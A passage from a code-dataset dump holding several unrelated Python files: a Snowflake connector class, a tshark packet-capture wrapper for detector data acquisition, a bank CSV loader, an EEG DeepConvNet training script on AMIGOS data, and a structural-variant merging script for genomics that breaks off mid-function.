RuntimeError(\n \"Snowflake Connection\", f\"Error connecting to Snowflake: {Error_returned}\"\n )\n\n def set_session_parameters(self, role: str, warehouse: str):\n cursor = self.open_connection().cursor(DictCursor)\n try:\n cursor.execute(f\"USE ROLE {role};\")\n cursor.execute(f\"USE WAREHOUSE {warehouse};\")\n return cursor\n except Exception as error_returned:\n raise RuntimeError(\n f\"Setting the Role and Warehouse threw error: {error_returned}\"\n )\n\n def run_sql(\n self, cursor: snowflake.connector.DictCursor,\n sql_statements: str\n ):\n try:\n cursor.execute(sql_statements)\n rows_returned = [row for row in cursor]\n return rows_returned\n except Exception as error_returned:\n raise RuntimeError(\n f\"SQL statements: {sql_statements}\\n threw error {error_returned}\"\n )\n\n def fetch_dataframe_from_sql(self, cursor:snowflake.connector.cursor.DictCursor, sql_query: str):\n try:\n query_result = cursor.execute(sql_query)\n df = pd.DataFrame.from_records(iter(query_result), columns = [row[0] for row in query_result.description])\n return df\n except Exception as error_returned:\n raise RuntimeError(\n f\"SQL statement: {sql_query}\\n threw error: {error_returned}\"\n )\n\n def closer_cursor(self, cursor):\n cursor.close() \n","sub_path":"Snowflake_Connector.py","file_name":"Snowflake_Connector.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"592801086","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 28 14:24:18 2021\n\n@author: francescopiscitelli\n\"\"\"\n\n###############################################################################\n###############################################################################\n######## V2.0 2021/12/14 francescopiscitelli ######################\n###############################################################################\n###############################################################################\n\nimport argparse\n# import os\n# import sys\n# from datetime import datetime\n# import subprocess\n\nfrom lib import libTerminal as ta\n\n############################################################################### \n###############################################################################\n\nclass dumpToFile():\n \n def __init__(self, pathToTshark, interface='en0', destPath='./', fileName='temp', typeOfCapture='packets', quantity=100, numOfFiles=1, delay=0):\n \n rec = ta.dumpToPcapngUtil(pathToTshark, interface, destPath, fileName)\n \n sta = ta.acquisitionStatus(destPath) \n sta.set_RecStatus()\n \n status = rec.dump(typeOfCapture,quantity,numOfFiles,delay)\n if status == 0: \n sta.set_FinStatus()\n else:\n sta.set_RecStatus()\n \n\n###############################################################################\n############################################################################### \n \nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser()\n \n # ARGS for FRAPIS LAPTOP\n # parser.add_argument(\"-i\", \"--interface\", help = \"interface from which capture packets\", type = str, default = \"en0\")\n # parser.add_argument(\"-t\", \"--tshark\", help = \"path where tshark is located\", type = str, default = \"/Applications/Wireshark.app/Contents/MacOS/\")\n # parser.add_argument(\"-e\", \"--destination\", help = \"path where to save recorded pcapng files\", type = str, default = \"/Users/francescopiscitelli/Desktop/reducedFile/\")\n \n \n # # ARGS for ESSDAQ\n parser.add_argument(\"-i\", \"--interface\", help = \"interface from which capture packets\", type = str, default = \"p4p1\")\n parser.add_argument(\"-t\", \"--tshark\", help = \"path where tshark is located\", type = str, default = \"/usr/sbin/\")\n parser.add_argument(\"-e\", \"--destination\", help = \"path where to save recorded pcapng files\", type = str, default = \"/home/essdaq/pcaps/\")\n\n # ARGS for ESSDAQ EFU\n # parser.add_argument(\"-i\", \"--interface\", help = \"interface from which capture packets\", type = str, default = \"ens2f0\")\n # parser.add_argument(\"-t\", \"--tshark\", help = \"path where tshark is located\", type = str, default = \"/usr/sbin/\")\n # parser.add_argument(\"-e\", \"--destination\", help = \"path where to save recorded pcapng files\", type = str, default = \"/home/essdaq/pcaps/\")\n\n # # ARGS for EFU JADAQ\n # parser.add_argument(\"-i\", \"--interface\", help = \"interface from which capture packets\", type = str, default = \"em2\")\n # parser.add_argument(\"-t\", \"--tshark\", help = \"path where tshark is located\", type = str, default = \"/usr/sbin/\")\n # parser.add_argument(\"-e\", \"--destination\", help = \"path where to save recorded pcapng files\", type = str, default = \"/home/efu/data/pcaps/\")\n\n\n # common fields\n parser.add_argument(\"-f\", \"--file\", help = \"pcapng filename\", type = str, default = \"temp\")\n parser.add_argument(\"-n\", \"--numoffiles\", help = \"num of files to record in sequence\", type = int, default = 1)\n parser.add_argument(\"-r\", \"--delay\", help = \"sleep (s) between consecutive files\", type = int, default = 0)\n \n # mutually exclusive fields\n command_group = parser.add_mutually_exclusive_group(required=False)\n command_group.add_argument(\"-d\", \"--duration\", help = \"duration (seconds)\", type=int)\n command_group.add_argument(\"-p\", \"--packets\", help = \"num of packets (int)\", type=int)\n command_group.add_argument(\"-s\", \"--size\", help = \"file size (kbytes)\", type=int)\n\n ###\n args = parser.parse_args()\n\n ###\n if args.duration is None and args.packets is None and args.size is None:\n # default packets\n args.packets = 100\n\n ###\n if args.duration is not None:\n typeOfCapture = 'duration'\n quantity = args.duration\n \n if args.packets is not None:\n typeOfCapture = 'packets'\n quantity = args.packets\n \n if args.size is not None:\n typeOfCapture = 'filesize'\n quantity = args.size\n \n rec = dumpToFile(pathToTshark=args.tshark, interface=args.interface, destPath=args.destination, fileName=args.file,typeOfCapture=typeOfCapture,quantity=quantity,numOfFiles=args.numoffiles,delay=args.delay)\n\n\n# print('--------------------')\n# print('interface: '+args.interface)\n# print('tshark: '+args.tshark)\n# print('path: '+args.destination)\n# print('file: '+args.file)\n# print('num of files: '+str(args.numoffiles))\n\n# print('duration: '+str(args.duration))\n# print('packets: '+str(args.packets))\n# print('size: '+str(args.size))\n \n ","sub_path":"MBUTYcap/MBUTY_DUMP.py","file_name":"MBUTY_DUMP.py","file_ext":"py","file_size_in_byte":5128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"150261341","text":"import pandas as pd\r\nimport glob as gb\r\nimport csv\r\n\r\nclass pf_unifica_load:\r\n \r\n #Constructor\r\n def __init__(self, ruta):\r\n print(\"Cargando pf_unifica\")\r\n self.nombre_archivo = '\\pf_'\r\n self.rutaOrigin = ruta\r\n for file in gb.glob(ruta + self.nombre_archivo + '*.txt'):\r\n self.ruta = file\r\n self.df = pd.read_csv(self.ruta, delimiter='|', index_col=False, dtype=str, encoding='latin-1', quoting=csv.QUOTE_NONE)\r\n self.df[' Monto '] = self.df[' Monto '].astype(float)\r\n self.df = self.df[(self.df[\" Tipo Persona \"] == \"PERSONA JURIDICA\") & \r\n ((self.df[\" Estatus de la Operacion \"] == \"Activo\") | (self.df[\" Estatus de la Operacion \"] == \"Inactivo\"))]\r\n self.df = self.df.groupby([' MIS '], as_index=False).agg({'Cedula/RIF ': 'first', ' Tipo Persona ': 'first', ' Estatus de la Operacion ': 'first', ' Producto ': 'first', ' Categoria ': 'first', ' Monto ': sum})\r\n \r\n def to_csv(self, cartera):\r\n print(\"Creando cruce cartera y pfUnifica\")\r\n self.df = pd.merge(self.df, cartera, how='inner', right_on='MisCliente', left_on=' MIS ')\r\n self.df.to_csv(self.rutaOrigin + '\\\\rchivos csv\\pf_unifica.csv', index = False, header=True, sep='|', encoding='latin-1', quoting=csv.QUOTE_NONE)\r\n return self.df\r\n \r\n#pf = pf_unifica_load(r'C:\\Users\\José Prieto\\Documents\\Bancaribe\\Enero').to_csv()","sub_path":"pf_unifica_load.py","file_name":"pf_unifica_load.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369656675","text":"import numpy as np\nfrom scipy import io\nimport os\nimport random\n# EEGNet-specific imports\nfrom EEGModels import DeepConvNet, ShallowConvNet\nimport tensorflow as tf\nfrom tensorflow.keras import utils as np_utils\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau\nfrom tensorflow.keras import backend as K\n\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten\nfrom tensorflow.keras.layers import Conv2D, MaxPool2D\n########################################################################################################################\n# data load\n# Train data load\ndata_path = '/home/hj/PycharmProjects/EEG/dataset/Amigos/data_preprocessed_python_1s_norm/'\ntrain_subject = [1, 2, 3, 5, 6, 7, 10, 11, 13, 14, 15, 16, 17, 18, 19, 20, 27, 28, 29, 30, 31, 32, 34, 36, 37, 38, 39] # 27 train subjects\ntest_subject = [4, 8, 25, 26, 35, 40] # 6 test subject\nnum_trial = 16 # for short vidoes only\n\nX_train = []\ny_train = []\nX_test = []\ny_test = []\n\n\nfor i in train_subject:\n # original eeg dataset(17): 1~14: eeg / 15, 16: EOG / 17:GSR\n # Only EEG signals are extracted and transpose\n for j in range(1, num_trial+1):\n k = 0\n while True:\n # Read file\n eeg_file = data_path + 'S%02dT%02d_%04d.npy' % (i, j, k)\n label_file = data_path + 'S%02dT%02d_%04d_arousal.txt' % (i, j, k)\n if not os.path.exists(eeg_file):\n break\n # Add data\n data = np.load(eeg_file)\n self_assment = np.loadtxt(label_file)\n\n # arousal\n if self_assment[0] >= 5:\n self_assment[0] = 1\n else:\n self_assment[0] = 0\n '''\n # valence\n if self_assment[1] > 5:\n self_assment[1] = 1\n else:\n self_assment[1] = 0\n '\n # If label isn't one-hot encoded pass\n sum = 0\n for elem in self_assment[0]:\n sum += elem\n if sum != 1:\n k += 1\n continue\n else:\n y_train.append(self_assment[0])\n X_train.append(data)\n k += 1\n '''\n y_train.append(self_assment[0])\n X_train.append(data)\n k += 1\n# Test data load\nfor i in test_subject:\n # original eeg dataset(17): 1~14: eeg / 15, 16: EOG / 17:GSR\n # Only EEG signals are extracted and transpose\n for j in range(1, num_trial+1):\n k = 0\n while True:\n # Read file\n eeg_file = data_path + 'S%02dT%02d_%04d.npy' % (i, j, k)\n label_file = data_path + 'S%02dT%02d_%04d_arousal.txt' % (i, j, k)\n if not os.path.exists(eeg_file):\n break\n # Add data\n data = np.load(eeg_file)\n self_assment = np.loadtxt(label_file)\n\n # arousal\n if self_assment[0] >= 5:\n self_assment[0] = 1\n else:\n self_assment[0] = 0\n '''\n # valence\n if self_assment[1] > 5:\n self_assment[1] = 1\n else:\n self_assment[1] = 0\n \n # If label isn't one-hot encoded pass\n sum = 0\n for elem in self_assment[5:7]:\n sum += elem\n if sum != 1:\n k += 1\n continue\n else:\n y_test.append(self_assment[0])\n X_test.append(data)\n k += 1\n '''\n y_test.append(self_assment[0])\n X_test.append(data)\n k += 1\n########################################################################################################################\n# X Data format : channel X samples X kernel(==1)\nchannel = 14\nsample = 128\nnum_classes = 2\n# random.shuffle(EEG_data)\n\nX_train = np.array(X_train).astype('float64')\nX_train = X_train.reshape(-1, channel, sample, 1)\nX_test = np.array(X_test).astype('float64')\nX_test = X_test.reshape(-1, channel, sample, 1)\n\ny_train = np.array(y_train)\ny_train = y_train.reshape(-1, 1)\ny_test = np.array(y_test)\ny_test = y_test.reshape(-1, 1)\n\nprint('X_train.shape', X_train.shape)\nprint('X_test.shape', X_test.shape)\nprint('y_train.shape', y_train.shape)\nprint('y_test.shape', y_test.shape)\n########################################################################################################################\n# DeepConvNet\nmodel = DeepConvNet(nb_classes=num_classes, Chans=channel, Samples=sample, dropoutRate=0.5)\n\n# compile the model and set the optimizers\nopt = tf.keras.optimizers.Adam(learning_rate=0.00001)\nmodel.compile(loss='sparse_categorical_crossentropy',\n optimizer=opt,\n metrics=['accuracy'])\n\n# Class weight\n# class_weights = {0: 1, 1: 1, 2: 1, 3: 1}\n\n# Save best model\nModel_save_path = '/home/hj/PycharmProjects/EEG/Amigos'\nif not os.path.exists(Model_save_path):\n os.mkdir(Model_save_path)\nModel_path = Model_save_path + 'DeepConvNet(AMIGOS).hdf5'\n\n# Callback\npatient = 5\ncallbacks_list=[\n ReduceLROnPlateau(\n monitor='val_accuracy',\n factor=0.1,\n patience=patient,\n min_lr=0.00001,\n verbose=1,\n mode='max'\n ),\n ModelCheckpoint(\n filepath=Model_path,\n monitor='val_accuracy',\n save_best_only=True,\n verbose=1,\n mode='max'\n )]\n\n# Train model\nmodel.fit(X_train, y_train, batch_size=16, epochs= 100,\n verbose=1, validation_split=0.2,\n callbacks=callbacks_list)\nprint(\"model is fitted!\")\n\n# Load best model\nmodel.load_weights(Model_path)\nprint(\"Best model is loaded!\\n\")\n########################################################################################################################\n# Predict model\ntest_loss, test_acc = model.evaluate(X_test, y_test, batch_size=16, verbose=1)\nprint('test acc:', test_acc, 'test_loss:', test_loss)\n\n\n\n\n\n","sub_path":"AMIGOS/AMIGOS-DeepConvNet.py","file_name":"AMIGOS-DeepConvNet.py","file_ext":"py","file_size_in_byte":6126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"288736043","text":"import pandas as pd\nimport io\nimport sys \n\ndef read_vcf(path):\n with open(path, 'r') as f:\n lines = [l for l in f if not l.startswith('##')]\n return pd.read_csv(\n io.StringIO(''.join(lines)),\n dtype={'#CHROM': str, 'POS': int, 'ID': str, 'REF': str, 'ALT': str,\n 'QUAL': str, 'FILTER': str, 'INFO': str},\n sep='\\t'\n ).rename(columns={'#CHROM': 'CHROM'})\n\ndef reformat_breakdancer(file):\n unformat_break = pd.read_csv(file, sep='\\t', skiprows=[0,1,2,3])\n info_list = []\n for index,row in unformat_break.iterrows():\n info_line = \"SVLEN=\" + str(row[\"Size\"]) + \":END=\" + str(row[\"Pos2\"]) + \":num_reads=\" + str(row[\"num_Reads\"])\n info_list.append(info_line)\n new_breakdancer = pd.DataFrame(columns=['#CHROM', 'POS', 'ID', 'REF', 'ALT','QUAL', 'FILTER', 'INFO'])\n chrom_list = unformat_break['#Chr1'].to_list()\n pos_list = unformat_break['Pos1'].to_list()\n alt_list = unformat_break['Type'].to_list()\n qual_list = unformat_break['Score'].to_list()\n new_breakdancer['#CHROM'] = chrom_list\n new_breakdancer['POS'] = pos_list\n new_breakdancer['ID'] = \"breakdancer\"\n new_breakdancer['REF'] = \"N\"\n new_breakdancer['ALT'] = alt_list \n new_breakdancer['QUAL'] = qual_list \n new_breakdancer['FILTER'] = \".\"\n new_breakdancer['INFO'] = info_list\n return new_breakdancer \n\n\ndef reformat_ss(manta,caller): \n end_list = [] \n if caller == 'breakdancer':\n for index,row in manta.iterrows():\n if row['ALT'] == 'CTX':\n manta.drop(index, inplace=True)\n else:\n end = row['INFO'].split('END=')[1].split(\":\")[0]\n end_list.append(end)\n chroms = manta['CHROM'].to_list()\n start_pos = manta['POS'].to_list()\n svtype_list = manta['ALT'].to_list()\n qual = manta['QUAL'].to_list()\n new_fr = pd.DataFrame(columns=['CHROM', 'START_POS', 'STOP_POS', 'SV_TYPE', 'QUAL', 'CALLER'])\n new_fr['CHROM'] = chroms\n new_fr['START_POS'] = start_pos\n new_fr['STOP_POS'] = end_list\n new_fr['SV_TYPE'] = svtype_list\n new_fr['QUAL'] = qual\n new_fr['CALLER'] = caller\n \n elif caller == 'pindel':\n for index,row in manta.iterrows():\n SV_type = row['INFO'].split('SVTYPE=')[1].split(';')[0]\n end = row['INFO'].split('END=')[1].split(\";\")[0]\n end_list.append(end)\n new = SV_type \n manta.at[index,'ALT'] = new\n chroms = manta['CHROM'].to_list()\n start_pos = manta['POS'].to_list()\n svtype_list = manta['ALT'].to_list()\n new_fr = pd.DataFrame(columns=['CHROM', 'START_POS', 'STOP_POS', 'SV_TYPE', 'QUAL', 'CALLER'])\n new_fr['CHROM'] = chroms\n new_fr['START_POS'] = start_pos\n new_fr['STOP_POS'] = end_list\n new_fr['SV_TYPE'] = svtype_list\n new_fr['QUAL'] = \".\"\n new_fr['CALLER'] = caller\n \n elif caller == 'delly':\n ind_l = []\n for index,row in manta.iterrows():\n gt = str(manta.iloc[index,9])\n gt_l = gt.split(\":\")[0]\n if gt_l == '0/0':\n ind_l.append(index)\n for index,row in manta.iterrows():\n SV_type = row['INFO'].split('SVTYPE=')[1].split(';')[0]\n if SV_type == \"BND\":\n end_list.append(\"BND\")\n else:\n end = row['INFO'].split('END=')[1].split(\";\")[0]\n end_list.append(end)\n new = SV_type\n manta.at[index,'ALT'] = new\n chroms = manta['CHROM'].to_list()\n start_pos = manta['POS'].to_list()\n svtype_list = manta['ALT'].to_list()\n qual = manta['QUAL'].to_list()\n new_fr = pd.DataFrame(columns=['CHROM', 'START_POS', 'STOP_POS', 'SV_TYPE', 'QUAL', 'CALLER'])\n new_fr['CHROM'] = chroms\n new_fr['START_POS'] = start_pos\n new_fr['STOP_POS'] = end_list\n new_fr['SV_TYPE'] = svtype_list\n new_fr['QUAL'] = qual\n new_fr['CALLER'] = caller\n for num in ind_l:\n new_fr.drop(num, inplace=True)\n else:\n\n for index,row in manta.iterrows():\n SV_type = row['INFO'].split('SVTYPE=')[1].split(';')[0]\n if SV_type == \"BND\":\n end_list.append(\"BND\")\n else:\n end = row['INFO'].split('END=')[1].split(\";\")[0]\n end_list.append(end)\n new = SV_type\n manta.at[index,'ALT'] = new\n chroms = manta['CHROM'].to_list()\n start_pos = manta['POS'].to_list()\n svtype_list = manta['ALT'].to_list()\n qual = manta['QUAL'].to_list()\n new_fr = pd.DataFrame(columns=['CHROM', 'START_POS', 'STOP_POS', 'SV_TYPE', 'QUAL', 'CALLER'])\n new_fr['CHROM'] = chroms\n new_fr['START_POS'] = start_pos\n new_fr['STOP_POS'] = end_list\n new_fr['SV_TYPE'] = svtype_list\n new_fr['QUAL'] = qual\n new_fr['CALLER'] = caller\n \n return new_fr\n\ndef combine_SV(breakdancer_file,pindel_file,delly_file,manta_file,lumpy_file,gridss_file):\n breakdancer = pd.read_csv(breakdancer_file,sep='\\t')\n pindel = pd.read_csv(pindel_file,sep='\\t')\n lumpy = pd.read_csv(lumpy_file,sep='\\t')\n delly = pd.read_csv(delly_file,sep='\\t')\n manta = pd.read_csv(manta_file,sep='\\t')\n gridss = pd.read_csv(gridss_file,sep='\\t')\n all_types = pd.concat([breakdancer,pindel,lumpy,delly,manta,gridss], axis=0)\n return all_types\n\ndef make_merged(file, max_size, min_size, percent_threshold, caller_threshold):\n sample_SV = pd.read_csv(file,sep='\\t')\n for index, row in sample_SV.iterrows():\n if row['STOP_POS'] == \"BND\":\n sample_SV.drop(index, inplace=True)\n for index, row in sample_SV.iterrows(): \n sv_len = int(row['STOP_POS']) - int(row['START_POS'])\n if int(sv_len) > int(max_size) or int(sv_len) < int(min_size):\n sample_SV.drop(index, inplace=True)\n all_overlaps = []\n min_max = []\n for r1 in sample_SV.itertuples():\n pos_overlap = \"\"\n smallest = float(r1.START_POS)\n largest = float(r1.STOP_POS)\n for r2 in sample_SV.itertuples(): \n if r1.CHROM == r2.CHROM:\n if float(r2.START_POS) <= float(r1.START_POS) and float(r2.STOP_POS) < float(r1.STOP_POS) and float(r2.STOP_POS) > float(r1.START_POS): \n caller = r2.CALLER\n start2 = float(r2.START_POS)\n stop2 = float(r2.STOP_POS)\n start1 = float(r1.START_POS)\n stop1 = float(r1.STOP_POS)\n sv_type = r2.SV_TYPE\n overlap = (stop2 - start1) / (stop1 - start1) * 100\n overlap_2 = (stop2 - start1) / (stop2 - start2) * 100\n if overlap >= float(percent_threshold) and overlap_2 >= float(percent_threshold):\n info = \"ID=\" + caller + ':' + \"START=\" + str(start2) + ':' + \"END=\" + str(stop2) + ':' + sv_type + ';' \n pos_overlap += info\n if start2 < smallest:\n smallest = start2\n elif stop2 > largest:\n largest = stop2\n elif float(r2.START_POS) > float(r1.START_POS) and float(r2.STOP_POS) >= float(r1.STOP_POS) and float(r2.START_POS) < float(r1.STOP_POS):\n caller = r2.CALLER\n start2 = float(r2.START_POS)\n stop2 = float(r2.STOP_POS)\n start1 = float(r1.START_POS)\n stop1 = float(r1.STOP_POS)\n sv_type = r2.SV_TYPE\n overlap = (stop1 - start2) / (stop1 - start1) * 100\n overlap_2 = (stop1 - start2) / (stop2 - start2) * 100\n if overlap >= float(percent_threshold) and overlap_2 >= float(percent_threshold):\n info = \"ID=\" + caller + ':' + \"START=\" + str(start2) + ':' + \"END=\" + str(stop2) + ':' + sv_type + ';' \n pos_overlap += info \n if start2 < smallest:\n smallest = start2\n elif stop2 > largest:\n largest = stop2\n elif float(r2.START_POS) <= float(r1.START_POS) and float(r2.STOP_POS) >= float(r1.STOP_POS):\n caller = r2.CALLER\n start2 = float(r2.START_POS)\n stop2 = float(r2.STOP_POS)\n start1 = float(r1.START_POS)\n stop1 = float(r1.STOP_POS)\n sv_type = r2.SV_TYPE\n overlap = (stop1 - start1) / (stop2 - start2) * 100\n if overlap >= float(percent_threshold):\n info = \"ID=\" + caller + ':' + \"START=\" + str(start2) + ':' + \"END=\" + str(stop2) + ':' + sv_type + ';' \n pos_overlap += info\n if start2 < smallest:\n smallest = start2\n elif stop2 > largest:\n largest = stop2\n\n elif float(r2.START_POS) >= float(r1.START_POS) and float(r2.STOP_POS) <= float(r1.STOP_POS):\n caller = r2.CALLER\n start2 = float(r2.START_POS)\n stop2 = float(r2.STOP_POS)\n start1 = float(r1.START_POS)\n stop1 = float(r1.STOP_POS)\n sv_type = r2.SV_TYPE\n overlap = (stop2 - start2) / (stop1 - start1) * 100 \n\n if overlap >= float(percent_threshold):\n info = \"ID=\" + caller + ':' + \"START=\" + str(start2) + ':' + \"END=\" + str(stop2) + ':' + sv_type + ';' \n pos_overlap += info \n if start2 < smallest:\n smallest = start2\n elif stop2 > largest:\n largest = stop2\n \n all_overlaps.append(pos_overlap)\n range_info = str(smallest) + '-' + str(largest)\n min_max.append(range_info)\n how_many = []\n for item in all_overlaps:\n each_type = item.split(';')\n del each_type[-1]\n all_types = []\n for thing in each_type:\n callerID = thing.split(':')[0]\n all_types.append(callerID)\n all_types = list(dict.fromkeys(all_types))\n total = len(all_types) \n how_many.append(total)\n sample_SV['OVERLAPS'] = all_overlaps\n sample_SV['NUM_CALLERS'] = how_many\n sample_SV['RANGE'] = min_max\n dedup_SV = sample_SV.drop_duplicates('RANGE', keep='first')\n dedup_SV_2 = dedup_SV.drop_duplicates('RANGE', keep='first')\n high_num = dedup_SV_2.loc[dedup_SV_2['NUM_CALLERS'] >= caller_threshold]\n ranges = high_num['RANGE'].to_list()\n chroms = high_num['CHROM'].to_list()\n callers = high_num['OVERLAPS'].to_list()\n num_callers = high_num['NUM_CALLERS'].to_list()\n all_starts = []\n all_stops = []\n lengths = []\n for nums in ranges:\n start = nums.split('-')[0]\n stop = nums.split('-')[1]\n length = float(stop) - float(start)\n all_starts.append(start)\n all_stops.append(stop)\n lengths.append(length) \n everything = {'CHROM': chroms, 'START': all_starts, 'STOP': all_stops, 'SV_CALLED': callers, 'NUM_CALLERS': num_callers, 'SV_LEN': lengths}\n new_frame = pd.DataFrame(everything) \n return new_frame\n \ndef most_frequent(List): \n return max(set(List), key = List.count)\n\n\ndef mergeTableStuff(r1,r2,sample_table):\n info1 = r1.SV_CALLED.split(';')\n info2 = r2.SV_CALLED.split(';')\n del info1[-1]\n del info2[-1]\n new_info = info1 + list(set(info2) - set(info1))\n info_str = ';'\n info_str = info_str.join(new_info) \n info_str += ';'\n new_length = float(r1.STOP) - float(r2.START)\n sample_table.at[r1.Index, 'SV_CALLED'] = info_str\n sample_table.at[r1.Index, 'START'] = float(r2.START)\n sample_table.at[r1.Index, 'STOP'] = float(r1.STOP)\n sample_table.at[r1.Index, 'CHROM'] = r1.CHROM\n sample_table.at[r1.Index, 'SV_LEN'] = new_length\n sample_table.at[r1.Index, 'NUM_CALLERS'] = r1.NUM_CALLERS\n sample_table.drop(r2.Index, inplace=True)\n return sample_table\ndef dedup_reformat(sample_table, over_t):\n\n over_t = float(over_t)\n for r1 in sample_table.itertuples():\n for r2 in sample_table.itertuples():\n if r1.Index != r2.Index:\n if r1.CHROM == r2.CHROM:\n if float(r2.START) <= float(r1.START) and float(r2.STOP) < float(r1.STOP) and float(r2.STOP) > float(r1.START):\n overlap = (float(r2.STOP) - float(r1.START)) / (float(r1.STOP) - float(r1.START)) * 100\n overlap_2 = (float(r2.STOP) - float(r1.START)) / (float(r2.STOP) - float(r2.START)) * 100\n if overlap >= over_t and overlap_2 >= over_t:\n info1 = r1.SV_CALLED.split(';')\n info2 = r2.SV_CALLED.split(';')\n del info1[-1]\n del info2[-1]\n new_info = info1 + list(set(info2) - set(info1))\n info_str = ';'\n info_str = info_str.join(new_info) \n info_str += ';'\n new_length = float(r1.STOP) - float(r2.START)\n sample_table.at[r1.Index, 'SV_CALLED'] = info_str\n sample_table.at[r1.Index, 'START'] = float(r2.START)\n sample_table.at[r1.Index, 'STOP'] = float(r1.STOP)\n sample_table.at[r1.Index, 'CHROM'] = r1.CHROM\n sample_table.at[r1.Index, 'SV_LEN'] = new_length\n sample_table.at[r1.Index, 'NUM_CALLERS'] = r1.NUM_CALLERS\n sample_table.drop(r2.Index, inplace=True)\n #sample_table = mergeTableStuff(r1,r2, sample_table)\n elif float(r2.START) > float(r1.START) and float(r2.STOP) >= float(r1.STOP) and float(r2.START) < float(r1.STOP):\n overlap = (float(r1.STOP) - float(r2.START)) / (float(r1.STOP) - float(r1.START)) * 100\n overlap_2 = (float(r1.STOP) - float(r2.START)) / (float(r2.STOP) - float(r2.START)) * 100\n if overlap >= over_t and overlap_2 >= over_t:\n info1 = r1.SV_CALLED.split(';')\n info2 = r2.SV_CALLED.split(';')\n del info1[-1]\n del info2[-1]\n new_info = info1 + list(set(info2) - set(info1))\n info_str = ';'\n info_str = info_str.join(new_info) \n info_str += ';'\n new_length = float(r2.STOP) - float(r1.START)\n sample_table.at[r1.Index, 'SV_CALLED'] = info_str\n sample_table.at[r1.Index, 'CHROM'] = r1.CHROM\n sample_table.at[r1.Index, 'SV_LEN'] = new_length\n sample_table.at[r1.Index, 'NUM_CALLERS'] = r1.NUM_CALLERS\n sample_table.at[r1.Index, 'STOP'] = float(r2.STOP)\n sample_table.at[r1.Index, 'START'] = float(r1.START)\n sample_table.drop(r2.Index, inplace=True)\n elif float(r2.START) <= float(r1.START) and float(r2.STOP) >= float(r1.STOP):\n overlap = (float(r1.STOP) - float(r1.START)) / (float(r2.STOP) - float(r2.START)) * 100\n if overlap >= over_t:\n info1 = r1.SV_CALLED.split(';')\n info2 = r2.SV_CALLED.split(';')\n del info1[-1]\n del info2[-1]\n new_info = info1 + list(set(info2) - set(info1))\n info_str = ';'\n info_str = info_str.join(new_info)\n info_str += ';'\n new_length = float(r2.STOP) - float(r2.START)\n sample_table.at[r1.Index, 'SV_CALLED'] = info_str\n sample_table.at[r1.Index, 'START'] = float(r2.START)\n sample_table.at[r1.Index, 'STOP'] = float(r2.STOP)\n sample_table.at[r1.Index, 'CHROM'] = r1.CHROM\n sample_table.at[r1.Index, 'SV_LEN'] = new_length\n sample_table.at[r1.Index, 'NUM_CALLERS'] = r1.NUM_CALLERS\n sample_table.drop(r2.Index, inplace=True)\n elif float(r2.START) >= float(r1.START) and float(r2.STOP) <= float(r1.STOP):\n overlap = (float(r2.STOP) - float(r2.START)) / (float(r1.STOP) - float(r1.START)) * 100\n if overlap >= over_t:\n info1 = r1.SV_CALLED.split(';')\n info2 = r2.SV_CALLED.split(';')\n del info1[-1]\n del info2[-1]\n new_info = info1 + list(set(info2) - set(info1))\n info_str = ';'\n info_str = info_str.join(new_info) \n info_str += ';'\n sample_table.at[r1.Index, 'SV_CALLED'] = info_str\n sample_table.at[r1.Index, 'START'] = float(r1.START)\n sample_table.at[r1.Index, 'STOP'] = float(r1.STOP)\n sample_table.at[r1.Index, 'CHROM'] = r1.CHROM\n sample_table.at[r1.Index, 'SV_LEN'] = r1.SV_LEN\n sample_table.at[r1.Index, 'NUM_CALLERS'] = r1.NUM_CALLERS\n sample_table.drop(r2.Index, inplace=True)\n\n breakdancer = []\n pindel = []\n lumpy = []\n manta = []\n gridss = []\n delly = []\n\n for row1 in sample_table.itertuples():\n br_ss = []\n br_t = []\n pi_ss = []\n pi_t = []\n lu_ss = []\n lu_t = []\n ma_ss = []\n ma_t = []\n gr_ss = []\n gr_t = []\n de_ss = []\n de_t = []\n ind = row1.SV_CALLED.split(';')\n del ind[-1]\n for thing in ind:\n each = thing.split(':')\n ID = each[0].split('=')[1]\n START = each[1].split('=')[1]\n STOP = each[2].split('=')[1]\n TYPE = each[3]\n if ID == 'breakdancer':\n br_ss.append(float(START))\n br_ss.append(float(STOP))\n br_t.append(TYPE)\n elif ID == 'pindel':\n pi_ss.append(float(START))\n pi_ss.append(float(STOP))\n pi_t.append(TYPE)\n elif ID == 'lumpy':\n lu_ss.append(float(START))\n lu_ss.append(float(STOP))\n lu_t.append(TYPE)\n elif ID == 'delly':\n de_ss.append(float(START))\n de_ss.append(float(STOP))\n de_t.append(TYPE) \n elif ID == 'manta':\n ma_ss.append(float(START))\n ma_ss.append(float(STOP))\n ma_t.append(TYPE)\n elif ID == 'gridss':\n gr_ss.append(float(START))\n gr_ss.append(float(STOP))\n gr_t.append(TYPE) \n if len(br_ss) != 0:\n s = float(min(br_ss))\n e = float(max(br_ss))\n percent_o = (e - s) / (float(row1.STOP) - float(row1.START)) * 100\n ninfo = str(s) + '-' + str(e) + ':' + most_frequent(br_t) + ':' + str(round(percent_o, 2)) + '%'\n breakdancer.append(ninfo)\n if len(br_t) == 0:\n x = 'X'\n breakdancer.append(x)\n if len(pi_ss) != 0:\n s = float(min(pi_ss))\n e = float(max(pi_ss))\n percent_o = (e - s) / (float(row1.STOP) - float(row1.START)) * 100\n ninfo = str(s) + '-' + str(e) + ':' + most_frequent(pi_t) + ':' + str(round(percent_o, 2)) + '%'\n pindel.append(ninfo)\n if len(pi_t) == 0:\n x = 'X'\n pindel.append(x)\n if len(lu_ss) != 0:\n s = float(min(lu_ss))\n e = float(max(lu_ss))\n percent_o = (e - s) / (float(row1.STOP) - float(row1.START)) * 100\n ninfo = str(s) + '-' + str(e) + ':' + most_frequent(lu_t) + ':' + str(round(percent_o, 2)) + '%'\n 